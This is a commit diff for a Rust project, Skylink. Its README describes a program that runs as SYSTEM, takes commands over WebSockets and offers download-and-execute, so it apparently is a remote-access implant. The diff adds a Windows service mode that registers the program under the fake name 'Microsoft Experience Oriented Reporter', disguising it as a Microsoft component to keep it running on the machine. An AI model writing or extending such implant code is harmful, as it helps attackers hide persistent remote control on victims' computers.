merge windows services

Cargo.toml

@@ -5,7 +5,7 @@ edition = "2024"
 build = "build.rs"
 
 [dependencies]
-tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std"] }
+tokio = { version = "1", features = ["rt-multi-thread", "macros", "sync", "time", "io-std", "signal" ] }
 tokio-tungstenite = "0.28"
 reqwest = "0.12"
 serde = "1.0"
@@ -25,6 +25,7 @@ anyhow = "1.0.100"
 futures-util = "0.3.31"
 ntapi = "0.4.1"
 sysinfo = "0.37.2"
+windows-service = "0.8.0"
 
 [build-dependencies]
 dotenv = "0.15.0"

README.md

@@ -11,7 +11,7 @@ It is intended to run as NT AUTHORITY/SYSTEM, even if it uses WebSockets, becaus
 - [X] basic commands
 - [X] download and execute
 - [X] dnx python
-- [ ] windows service
+- [X] windows service
 - [ ] criticality
 - [ ] screenshot functionality
 - [ ] test payloads with arguments

src/main.rs

@@ -1,17 +1,169 @@
-use futures_util::{SinkExt, stream::StreamExt};
 use skylink::lib::logger::{LogLevel, log};
-use skylink::{LOG_PATH, WS_URL};
+use skylink::lib::websockets::websocket_handler;
-use skylink::{WsTx, eval_command, lib::websockets::reconnect_websocket, lib::websockets::websocket_handler};
+use skylink::LOG_PATH;
+use skylink::WsTx;
 use std::sync::Arc;
 use tokio::sync::Mutex;
-use tokio_tungstenite::tungstenite::protocol::Message;
+use std::ffi::OsString;
+use std::time::Duration;
+use std::sync::mpsc::channel;
 
-#[tokio::main]
+use windows_service::{
-async fn main() -> anyhow::Result<()> {
+    define_windows_service,
+    service::{
+        ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
+        ServiceType,
+    },
+    service_control_handler::{self, ServiceControlHandlerResult},
+    service_dispatcher,
+};
+
+const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
+const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
+
+fn main() -> Result<(), Box<dyn std::error::Error>> {
+    // Initialize logging
+
+    // Check if we are in a Debug build AND the environment variable is set
+    let is_debug_mode = cfg!(debug_assertions);
+    let force_console = std::env::var("SKL_AS_REGULAR_EXECUTABLE").is_ok();
+
+    if is_debug_mode && force_console {
+        println!("Detected Debug Env Var: Running as console application...");
+        run_as_console()?;
+    } else {
+        // Run as a Windows Service
+        run_as_service()?;
+    }
+
+    Ok(())
+}
+
+// -------------------------------------------------------------------------
+// SHARED BUSINESS LOGIC
+// -------------------------------------------------------------------------
+
+async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
   log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
   let ws_tx: WsTx = Arc::new(Mutex::new(None));
   let ws_tx_for_handler = Arc::clone(&ws_tx);
-  let handle = tokio::spawn(async { websocket_handler(ws_tx_for_handler).await });
+  websocket_handler(ws_tx_for_handler).await;
-  let _ = handle.await;
+
-  Ok(())
+    // Wait for the shutdown signal
+    tokio::select! {
+        _ = shutdown_rx.recv() => {
+            log(LogLevel::Info, LOG_PATH, format!("Shutdown signal received. Cleaning up...")).await;
+        }
+    }
+}
+
+// -------------------------------------------------------------------------
+// MODE 1: CONSOLE / DEBUG
+// -------------------------------------------------------------------------
+
+fn run_as_console() -> Result<(), Box<dyn std::error::Error>> {
+    // Manually build the runtime because main() is synchronous
+    let rt = tokio::runtime::Runtime::new()?;
+
+    rt.block_on(async {
+        // Create a channel to signal shutdown
+        let (tx, rx) = tokio::sync::broadcast::channel(1);
+
+        // Handle Ctrl+C to behave like a polite console app
+        let tx_clone = tx.clone();
+        tokio::spawn(async move {
+            if let Ok(()) = tokio::signal::ctrl_c().await {
+                println!("\nCtrl+C detected.");
+                let _ = tx_clone.send(());
+            }
+        });
+
+        // Run the app
+        run_app(rx).await;
+    });
+
+    Ok(())
+}
+
+// -------------------------------------------------------------------------
+// MODE 2: WINDOWS SERVICE
+// -------------------------------------------------------------------------
+
+// Macro to generate the extern "system" entry point required by Windows
+define_windows_service!(ffi_service_main, my_service_main);
+
+fn run_as_service() -> Result<(), windows_service::Error> {
+    service_dispatcher::start(SERVICE_NAME, ffi_service_main)
+}
+
+fn my_service_main(_arguments: Vec<OsString>) {
+    // 1. Setup the event handler to communicate with the OS
+    let (shutdown_tx, shutdown_rx) = channel();
+
+    let event_handler = move |control_event| -> ServiceControlHandlerResult {
+        match control_event {
+            ServiceControl::Stop | ServiceControl::Interrogate => {
+                // Signal the logic to stop
+                let _ = shutdown_tx.send(());
+                ServiceControlHandlerResult::NoError
+            }
+            _ => ServiceControlHandlerResult::NotImplemented,
+        }
+    };
+
+    let status_handle = match service_control_handler::register(SERVICE_NAME, event_handler) {
+        Ok(h) => h,
+        Err(e) => {
+            eprintln!("Failed to register service control handler: {}", e);
+            return;
+        }
+    };
+
+    // 2. Tell Windows we are running
+    let next_status = ServiceStatus {
+        service_type: SERVICE_TYPE,
+        current_state: ServiceState::Running,
+        controls_accepted: ServiceControlAccept::STOP,
+        exit_code: ServiceExitCode::Win32(0),
+        checkpoint: 0,
+        wait_hint: Duration::default(),
+        process_id: None,
+    };
+    if let Err(e) = status_handle.set_service_status(next_status) {
+        eprintln!("Failed to set service status: {}", e);
+    }
+
+    // 3. Start Tokio Runtime and Block
+    // We create the runtime here because we are on the service thread provided by Windows.
+    let rt = tokio::runtime::Runtime::new().unwrap(); // Handle unwrap properly in prod
+
+    rt.block_on(async move {
+        let (async_tx, async_rx) = tokio::sync::broadcast::channel(1);
+
+        // Spawn a bridge task: watches the Sync OS channel -> sends to Async Tokio channel
+        tokio::spawn(async move {
+            // This is a blocking recv on a std::sync::mpsc, so we wrap it in spawn_blocking
+            // or just poll it if we expect it to be rare. 
+            // Since this is the main logic block, we can just check it in a separate thread.
+            let _ = tokio::task::spawn_blocking(move || {
+                let _ = shutdown_rx.recv(); // Block waiting for OS stop command
+            }).await;
+            
+            let _ = async_tx.send(()); // Tell app to stop
+        });
+
+        run_app(async_rx).await;
+    });
+
+    // 4. Tell Windows we have stopped
+    let stop_status = ServiceStatus {
+        service_type: SERVICE_TYPE,
+        current_state: ServiceState::Stopped,
+        controls_accepted: ServiceControlAccept::empty(),
+        exit_code: ServiceExitCode::Win32(0),
+        checkpoint: 0,
+        wait_hint: Duration::default(),
+        process_id: None,
+    };
+    let _ = status_handle.set_service_status(stop_status);
 }